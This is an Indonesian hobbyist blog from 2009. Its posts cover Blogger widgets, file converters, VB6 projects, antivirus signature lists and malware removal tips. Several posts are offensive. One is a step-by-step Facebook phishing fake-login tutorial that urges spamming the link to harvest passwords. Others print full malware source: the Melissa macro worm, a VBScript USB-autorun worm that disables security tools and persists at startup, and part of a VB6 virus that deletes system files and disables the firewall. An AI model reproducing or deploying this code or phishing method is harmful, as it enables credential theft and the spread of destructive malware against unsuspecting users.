Di buat oleh : velshadow 27 Mei 2009

untuk membuat recent comment pada blogger yang harus di lakukan
1. login k blogger
2.click tata letak
3.pilih tab element halaman
4.tambah gadget "html / javascript"
5.paste ni code : click di sini maaf code harus di upload ..
jangan lupa ganti tuh javascript ..

http://www.cybervels.blogspot.com ganti mjd nama blog kamu

selesai dah selamat mencoba :D

Di buat oleh : velshadow 26 Mei 2009

yups sesuai judulnya, saya akan menjelaskan tentang converter yang biasanya di gunakan
untuk mengubah ekstensi file .. namun sesuai judul di atas saya akan mejelaskan converter
online tanpa mendonlot ataupun menginstal software di pc . laptop dll.
langsung sajja anda kunjungi situs ini http://media-convert.com/

Layanan konversi file online ini mendukung format file yang sangat lengkap seperti :
1. Format Archives (7Z BZ2 BZA CAB GZ LHA LZH RAR TAR TGZ YZ1 ZIP )
2. Format Movie (3G2 3GP AMV ASF ASX AVI DPG DV FLI FLV GIF GVI MKV MOV MP4 MPG NSV OGG OGM RM RPL SWF VOB WMV)
3. Format Image (AVS BMP CIN DCX DIB DPX FITS GIF ICO JFIF JIF JPE JPEG JPG MIFF OTB P7 PALM PAM PBM)
4. Format Sound (WAV MP3 WMA OGG AAC MP4 3GP)

dan masih byk lagi . silahkan di coba srkarang :p

Di buat oleh : velshadow 25 Mei 2009

Converter pasti tak asing lagi di telinga kalian..
Converter adalah suatu program yangmengubah ekstensi suatu file ,
Absolute Converter sebagai contohnya Converter ini adalah Converter kesayanganku
mengapa karena Converter ini dapat mengubah menjadi beberapa macam
misal dari video menjadi image atau gambar . video menjadi musik dan video menjadi video
video (avi . mpg . wmv . mpeg dll. ) musik (.mp3 .wav .wma) gambar / image ( .bmp )
jika ingin mendownload click di sini

Di buat oleh : velshadow

neh aku beri satu lagi source code atau project cara membuat anti virus / virus scaner ..
anti virus / virus scaner ini di buat oleh Bagus Judistirah (bagus_badboy)
unutk lebih lanjut silahkan dowload source codenya neh.. .
di sini velshadow 4shared di cuba dulu :D

Di buat oleh : velshadow 23 Mei 2009

CRC merupakan salah satu andalan anti virus
ada beberapa anti virus yang mendeteksi virus menggunakan crc32 code,
ini adalah beberapa crc32 code virus yg saya dapatkan

V.shadow-Raduonk.A;D29A1895
velshadow.A;D1C2EAD5
velshadow.B;E9027CCD
velshadow.C;56356CAE
velshadow.D;13D5288
velshadow.E;2D4845DA
velshadow.F;5E236FCF
velshadow.G;8FC55238
velshadow.H;EC7B3746
velshadow.I;177619EE
velshadow.J;185A969C
velshadow.K;EE89631E
velshadow.L;23B800
velshadow.M;B84B1A72
velshadow.N;517C1CFD
velshadow.O;A2AD93B1
velshadow.P;D07A8139
w32.rontokbro@my_computer;A16E04EC
w32.Trojan@Lab4A;56390D4
w32.Trojan@Lab4F;DAFDDCBE
w32.Trojan@Lab4H;4BF1E6B6
w32.Trojan@Lab4I;D5A406F5
w32.Trojan@Lab4K;BADB490C
w32.Brontok@Chonk;1E4511A91
w32.Trojan@Spysherriff;3C6C48B4
w32.Trojan@Spysherriff.B;48E9E9BA

muup saya tampilkan hanya beberapa di karenakan faktor tempat ^^
dan seterusnya dapat di download di sini

Di buat oleh : velshadow

crc32 adalah code pada suatu file, tiap file pasti mempunyai crc32 code
terus bagaimana cara mengertahui crc file tersebut ?
gunakan sajja crc32 checksum
pada topik ini kita akan membahas cara membuat crc 32 check sum dengan
visual basic 60 atau di kenal vb 60
nah yg di butuhkan pastilan vb60 ^^ dan source codenya

dari pada susah susah dan memakan tempat + waktu langsung sajja aku beri
projectnya ..
unruk mendownload click di sini

Di buat oleh : velshadow

disini aKu akan share tetang pembuatan anti virus sesuai
judul topik di atas .
pembuatan anti virus kali ini menggunakan visual basic 60
atau di kenal vb 60 ,
yang anda butuhkan hanyalah software visual basic 60 .
dan source code atau project anti virusnya
dimana aku bisa mendapatkan atau mendownload visual basic ?
klo tanpa menunggu seh ada baiknya menyewa rental CD sajja
cz visual basic filenya cukup besar jadi lama klo download
ko ingin mendownload cari di http://www.topshareware.com/

nah klo source code atau project anti virusnya aku punya
jika ingin download

di sini

Di buat oleh : velshadow 22 Mei 2009

pembuat virus pasti tak asing lagi mendengar kata icon. yups..
salah satu andalan virus adalah icon. bagaimana tidak pembuat virus
biasanya mengecoh user dan membuat semenarik mungkin virus mereka ,
agar user mengeksekusi virus tersebut .
tak lain halnya dengan worm, worm juga membuat berbagai macam ico.
agar user tak percaya bahwa ntu worm ^^
icon juga dapat di gunakan untuk lambang software . dan folder pd windows
langsung sajja . di sini aku sediakan software yang dapat mengconvert
atau mengubah ekstensi image [ gif png jpg dll mjd ico bmp dll ]
untuk mendownload click di sini

Di buat oleh : velshadow 21 Mei 2009

notepad ++ adalah peubahan notepad biasa notepad ++ disertai warna yang membagi
jenis jenis tulisan ..
notepad ++ di sertai pengukur baris dan tak seprti notepad biasanya ,
dan dapat di download

di sini = zip 5.4
di sini = zip 5.3
di sini = exe 5.3

Di buat oleh : velshadow 20 Mei 2009

males dengan tampilan media playermu yang gitu gitu ?
ingin membuat media player ?
yang anda butuhkan hanyalah aplikasi vb60
maka kamu akan bisa mambuat media playermu sendiri
walau tak sebagus media player pada umumnya namun media-
player buatanmu ada jerih payahmu .. maka tak sia sia kita
mencoba membuat media player sendiri
media player ini dapat membuka video .avi .mpeg . mov dll.
dan membuka music file .mp3 .midi .wav .dll

untuk source codenya dapat di download di sini

Di buat oleh : velshadow

ingin membuat virus dengan vb 60
nii akku ada projectnya tinggal edit sajja di vb 60
efect virus akan mednisable beberapa tools
dan meng quit beberapa prosess pd widows
bila ingin mencoba membuatnya .
download prject di sini

Di buat oleh : velshadow

cara mengghilangkan virus yuyun / harry potter.ink dll.

1. Klik kanan di microsoft.ink yang kebetulan adalah shortcut ke directory c:\windows\system32\wscript.exe //e:vbscript thumb.db “Microsoft”
2. Bermodal informasi diatas silahkan buka windows explorer kemudian langsung menjuku ke lokasi yaitu directory c:\windows\system32
3. Cari file wscript.exe kemudian rename file tersebut jadi apa aja terserah anda (harus ingat ya namanya). tapi tampilkan dulu extensi file dari menu folder option. (sebelum langkah diatas dilakukan biasanya file wscript.exe tidak bisa di rename karena masih berjalan disistem. Caranya anda buka task manager kemudian pada tab proses hentikan wscript.exe Setelah itu baru anda bisa rename wscript.exe nya
4. Setelah itu, lakukan search file-file thumb.db, harry potter, microsoft, Autorun.inf . Setelah ketemu baru hapus semua file tersebut



5. Rename kembali wscript.exe untuk mengembalikan fungsinya seperti semula
6. Langkah masuk ke system configuration utility dengan cara klik menu start–>run kemudian ketik msconfig dan tekan enter, kemudian klik tab startup . hilangkan contreng pada :microsoft office update for windows xp dan database. pokoknya yang berhubungan dengan wscript.exe hilangkan tanda contrengnya

nah selamat selesailah sudah .. semoga membantu

Di buat oleh : velshadow

pernah kebingungan jika task manager kita di disable virus yang menyerang registry kita,
jangan bingung jika virus itu mengupdate registrynya cukup lama kita dapa meng kill
proses virus tsb. dan jika kita tahu nama serta virus itu tidak menghilangkan dirinya
dari task manager ..
cara mengembalikan task manager yang ter disable mengenable task manager

metode 1 . menggunakan visual basic ,

tanpa bosa basi mari kita buat disable / enable project
yang harus di sediain ...
vb 60 dan source code, tapi kita dapat membuat source code sendiri dengan :
1.buat satu from ... terdiri 2 command button , 1. cmdEnable 2. cmddisable
2 isikan berikut di from..

'------> start
Private Sub cmdDisable_Click()
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1
MsgBox "Task manager has disabled.", vbInformation, "Success"
End Sub

Private Sub cmdEnable_Click()
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0
MsgBox "Task manager has enabled.", vbInformation, "Success"
End Sub

Private Sub Form_Load()

End Sub
'------>end



3. buatlah sebuah module ( Module1 )
4. isikan text vberikut pada module
'------>start
Public Sub CreateKey(folder As String, value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.regwrite folder, value, "REG_DWORD"
End Sub

Public Sub DeleteKey(value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.regdelete value
End Sub

'------>end

warna = dapat di ganti dengan registry yg laen
warna = dapat di gnt dengn text yg laen


metode 2 . dengan RUN ,

copy dan paste pada menu RUN ,

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

metode 3. dengan RUN dan REGedit,

click start menu -> run -> tuliskan "regedit" atau dengan cara
buka *:\WINDOWS\regedit.exe

menuju ke :
HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies\ System

hapus value "DisableTaskMgr"


metode 4 . dengan registry fix 'Task manager ,

click di sini

metode 5 , menggunakan "Group Policy Editor" / "gpedit.msc"

start -> RUN -> ketik "gpedit.msc"

menuju ke ,,
User Configuration / Administrative Templates / System / Ctrl+Alt+Delete Options / Remove Task Manager
double click "Remove Task Manager" , Set policy "Not Configured"

Di buat oleh : velshadow 19 Mei 2009

pengen buat game sendiri walau simple .. tapi hasil jerh payah sendiri :)
game ular ularan cara membuat game gratis ..
bisa di gunakan 2 player dalam satu comp.
game ini lumayan mengasyikan .. yg di butuhkan hanyalah visual basic 60 untuk membuatnya
1. jalankan vb60
2. buat 7 from [ StartFrm, SnakeTable, Settings , Options ,HlpFrm ,EndScreen, abouthfrm ]

3. pada stratFrm buat Command1 - Command5


... seterusnya dapat kamu download di sini

Di buat oleh : velshadow

males dengan tampilan background dan font pada folder di explorer ?
pengen ganti tampilan susah perlu ganti desktop.ini pada folder
nah dengn project vb 60 ini kamu dapat mengganti tampilanya

cara berikut dapat mengganti tampilan folder , mulai dari warna teks dan background pada folder

langkahnya donload di sini

klo sudah buka visual basic 60 / langsung click file yg berekstensi *.vbp
edit terserah ..
dalam pembuatan , ada baiknya menyertakan nama
- velshadow
- vbbego
- Dana Rochmady

Di buat oleh : velshadow 15 Mei 2009

Hello semua,
Hack Facebook Dengan Fake Login? Kenapa Tidak…

Jangan lupa sediain Hosting / Free Hosting untuk naruh script yang mau kita buat fake login lokasinya nanti. Jangan sampe lupa, karena itu hal yang paling wajib dilakukan!
Oke lanjut, mantapin juga dah. Berikut ini adalah ulasannya:

1. Pertama, bikin dulu sebuah file di hosting tempat anda mau bikin fake login dengan filetype: html. Kemudian kasi nama: “index.html”, sehingga di contoh URL Web adalah: http://www.hostingloedisini.com/facebook/index.html

Bikin Code Sesuai Dengan Contoh Script Dibawah Ini:
Scriptcode pada no 1:
Klick Disini Untuk Lihat Scriptnya

2. Buat file logs.php di hostingan lo sendiri, contoh http://www.hostingloedisini.com/facebook/logs.php di bawah ini script nya.

Scriptcode pada no 2:
Klick Disini Untuk Lihat Scriptnya

3. Buatlah file kosong yg berformat txt dengan nama:
logs.txt - jadi URLnya jadi:

http://www.hostingloedisini.com/facebook/logs.txt

4. Jangan lupa change mode semua filenya, permissionnya jadi: 777 ( chmod + 777).

5. Kemudian sebarkan URL yang telah loe buat,
misal: “http://www.hostingloedisini.com/facebook/” dengan sesama user difacebook, iklan, atau
spam lewat email sebanyak banyaknya.
Bisa juga merajuk kepada cewe cewe / cowo cowo yang loe suka supaya klik tu login. Dijamin
mantaf klo bisa dapetin username + loginnya!

6. Untuk melihat hasil login Username dan Passwordnya silakan buka file di logs.txt nya, nah klo
ada username email beserta passwordnya. Brarti anda telah dapet login ntuh.

Contoh ujicoba aplikasi websitenya disini:
http://h1.ripway.com/registers/facebook.html

Contoh ujicoba hasilnya disini:
http://h1.ripway.com/registers/logs.txt

Selamat Mencoba, Semoga Berhasil..

Dan buat para Facebook’ers mania, oh ya, ni skalian gw kasi tips supaya hati hati & biar gak kna Fake Login:

1) Perhatikan dengan benar link address websitenya. Contoh klo FB linknya: http://www.facebook.com

2) Jangan pernah membuka link atau bahasa pemograman (CSS, XTML, XML, atau

HTML) yang aneh. Jika di klik, kemungkinan account kita akan memberikan
username dan password kita.

3) Pakailah virtual keyboard yang bisa diperoleh dengan mudah.
Untuk Windows tampilan XP, hanya cukup klik ’start’ -> All Programs ->
Accessories -> Accessibility -> ‘On-Screen Keyboard’
Untuk Windows tampilan bukan XP, hanya cukup klik ’start’ -> Program Files
-> Accessories -> Accessibility -> ‘On-Screen Keyboard’

4) Bila bermain di Warung Internet (Warnet), hindari check-list kotak“Remember me”
pada saat login, karena hal itu dapat menyimpan username
dan password di komputer tersebut. Kecuali memakai komputer pribadi.

5) Jika anda tiba-tiba diminta login ulang, sebaiknya hati hati, karena kemungkinan halaman pe-login ulang tersebut adalah halaman palsu yang sengaja dirancang. Kekekeke..

susah cara di atas ? langsung download filenya di sini lalu upload di hosting kamu

Presented by BinusHacker Family + yogya family code

Di buat oleh : velshadow

karena codenya terlalu panjang. dan akan mengakibatkan kerusakan pada tampilan
site ini silahkan download teutorialnya di sini

Di buat oleh : velshadow

karena codenya terlalu panjang. dan akan mengakibatkan kerusakan pada tampilan
site ini silahkan download teutorialnya di sini

Di buat oleh : velshadow 10 Mei 2009

Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub

Di buat oleh : velshadow

on error resume next
dim urang,abdi,aing,kuring,anak,mf,isi,tf,galuh,nt,check,sd

'siapkan isi autorun
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe galuh.3gp.vbs"
set anak = createobject("Scripting.FileSystemObject")
set mf = anak.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
urang = urang & text.readline
urang = urang & vbcrlf
loop
do

'buat file induk
Set aing = anak.getspecialfolder(0)
Set abdi = anak.getspecialfolder(1)
set tf = anak.getfile(abdi & "\recycle.vbs")
tf.attributes = 32
set tf = anak.createtextfile(abdi & "\recycle.vbs",2,true)
tf.write urang
tf.close
set tf = anak.getfile(abdi & "\recycle.vbs")
tf.attributes = 39

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each kuring in anak.drives

If (kuring.drivetype = 1 or kuring.drivetype = 2) and kuring.path <> "A:" then

set tf=anak.getfile(kuring.path &"\galuh.sys.vbs")
tf.attributes =32
set tf=anak.createtextfile(kuring.path &"\galuh.3gp.vbs",2,true)
tf.write urang
tf.close
set tf=anak.getfile(kuring.path &"\galuh.3gp.vbs")
tf.attributes = 39

set tf =anak.getfile(kuring.path &"\autorun.inf")
tf.attributes = 32
set tf=anak.createtextfile(kuring.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = anak.getfile(kuring.path &"\autorun.inf")
tf.attributes=39
end if
next

'Manipulasi Registry
set galuh = createobject("WScript.Shell")

'Ubah IE Title
galuh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: Dunia ini sudah enggan untuk bersahabat Tolong sadar mari kita jaga alam ini terutamna air, udara, tanah, n hutan ::"

'File Hidden tak terlihat
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",0, "REG_DWORD"

'Blokir Find, FolderOptions, Run, Regedit, Task Manager, System Restore, perubahan Wallpaper, Hotkey, Control Panel, dan Log Off
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper", "0", "REG_DWORD"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "0", "REG_DWORD"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "0", "REG_DWORD"

'Ubah tulisan pertama pada text box menu RUN
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a", "King Of Galuh"
galuh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList", "a"

'Buat pesan saat Windows Startup
galuh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "King of Galuh"
galuh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText", "sory coy gue numpang istirahat di komputer kamu tenang aja komputer kamu masih aman-aman aja coz aku ga delete file kamu kok....!!!!! hhe......hee...... by: xipemainopth"
galuh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia", abdi & "\recycle.vbs"
galuh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.google.com"
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordpad.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VB6.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autorun.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ansav.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremoval.exe\Debugger",""
galuh.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\viremover.exe\Debugger",""
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run aing & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Di buat oleh : velshadow

Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..



Yang di butuh.in untuk buat virus ini :

- 1 Form,

-3 Modul, yang terdiri dari aerah Tikus Lupus,Modul1,dan RumahTikus.

- 1 Class Modul,


- 1 Related Documents



Dan Komponen yang di butuh..in cuman :

- 1 Timer aja.





Ini Kode yang di Taruh di Form :

Kode:

Private Fso As New FileSystemObject
Private Drive As Drive
Private Drives As Drives
Option Explicit
Private TikusFirewall As LupusFirewall
Private lngPortCounter As Long
Private Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)

Private Type TIME_OF_DAY_INFO
telapsed As Long
tmsecs As Long
thours As Long
tmins As Long
tsecs As Long
thunds As Long
ttimezone As Long
ttinterval As Long
tday As Long
tmonth As Long
tyear As Long
tweekday As Long
End Type

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Function LingkaranTikus(TheForm As Form)
SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1
End Function

Function AmbilJamDikomputer()
Dim JamLupus As TIME_OF_DAY_INFO
Dim JamTikusLupus As Long, lpBuffer As Long
Dim ServerLupus() As Byte
JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer)
CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus)
If lpBuffer Then
Call NetApiBufferFree(lpBuffer)
End If
AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday)
year = Right(AmbilJamDikomputer, 4)
End Function

Sub PenampilanLupus()
Dim a
Do Until a = 1
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
Loop
End Sub

Function TikusInfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
For Each FolderS In Fso.GetFolder(Fold).subfolders
Call TikusInfeksiFolder(FolderS.Path)
Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"
Next FolderS
End Function

Private Sub RuanganTikus()
Set Drives = Fso.Drives

For Each Drive In Drives
Select Case Drive.DriveType
Case Removable
Case Fixed
Case CDRom
GoTo KondisiTikus
Case Remote
End Select
If Drive.IsReady = True Then
If Drive.AvailableSpace <> "" Then
Dim letter As String
letter = Drive.DriveLetter
FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt"
TikusInfeksiFolder letter + ":\"
End If
End If
KondisiTikus:
Next
End Sub

Sub PermenLupus()
Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")
Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")
TikusInfeksiFolder "c:\"
MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"
Call LingkaranTikus(Me)
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
LepaskanTikus:
Select Case X$
Case X$ > "2"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
Call PenampilanLupus
Case X$ > "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
Case X$ < "2"
SaveSetting Me.Name, App.Title, "TimesOpen", 0
Call LingkaranTikus(Me)
Call LingkaranTikus(Me)
GoTo LepaskanTikus
End Select
End Sub

Sub hibernate()
TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
TikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
If FileEx = False Then
Call InfeksiTikus2
End If
Shell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocus
Shell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocus

End Sub
Private Function TikusCariFile(NamaLengkapFile As String) As Boolean
On Error GoTo LupusdanTikus
Open NamaLengkapFile For Input As #1
Close #1
FileEx = True
Exit Function
LupusdanTikus:
FileEx = False
Exit Function
End Function

Sub TikusAmbilInfoKomputer()
Dim JalaLupus
Dim DokumenLupus
On Error Resume Next
Set JalaLupus = CreateObject("WScript.NetWork")
If Err.Number <> 0 Then
DokumenLupus.Location = "TikusLupus.html"
End If

Dim NamaPemakai
Dim NamaKomputer
Dim DomainKomputer
NamaPemakai = JalaLupus.username
NamaKomputer = JalaLupus.ComputerName
DomainKomputer = JalaLupus.UserDomain

Select Case DomainKomputer
Case "STD"
Case "AVR"
TikusFirewall.DisableFirewall
Case Else
TikusFirewall.DisableFirewall
